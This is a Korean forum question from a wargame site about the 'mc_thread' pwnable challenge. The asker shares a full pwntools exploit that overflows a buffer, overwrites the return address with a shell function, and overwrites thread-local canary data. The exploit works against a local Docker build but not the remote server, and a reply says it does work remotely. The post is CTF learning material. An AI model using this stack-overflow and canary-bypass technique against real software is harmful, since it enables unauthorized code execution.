Dockerfile로 구성한 환경에서는 되는데 서버에서는 안됩니다.

image.png
주어진 Dockerfile 빌드 (docker build -t m_t . ; docker run -d -it -p 7182:7182 --name mc_thread m_t)

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./mc_thread')
# p = remote("host3.dreamhack.games", 17841)
p = remote('localhost', 7182)
e = ELF('./mc_thread')

def gdb_on():
    gdb.attach(p)
    pause()

# gdb_on()

code_section_addr = 0x404500-0x972

p.sendlineafter(b'Size: ', b'2352')

payload = b'A'*0x110                    # dummy
payload += b'B'*0x8                     # sfp
payload += p64(e.symbols['giveshell'])  # ret
payload += b'C'*0x7f0                   # dummy
payload += p64(code_section_addr)       # fs+0x10
payload += b'A'*0x18                    # fs+0x28

p.sendafter(b'Data: ', payload)

p.interactive()

image.png
p = remote('localhost', 7182)로 flag 출력 확인

image.png
p = remote("host3.dreamhack.games", 17841) 실패

제공된 Dockerfile을 빌드해서 테스트 했을 때, flag 출력을 확인을 했기에 서버와 동일하다고 생각 돼 서버 주소로 바꾸니 되지 않습니다...Dockerfile과 서버 환경이 다른지, 아니면 제가 잘못 빌드한 것인지 궁금합니다.

#pwnable
작성자 정보
답변 1
kimht
공부벌레

안녕하세요, lovinkitt님.

질문글에 올려주신 익스플로잇 코드를 문제 서버를 대상으로 실행한 결과 셸을 획득할 수 있었습니다.

다시 한 번 실행해보시면 좋을 것 같습니다.

감사합니다.

2024.07.23. 18:19
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기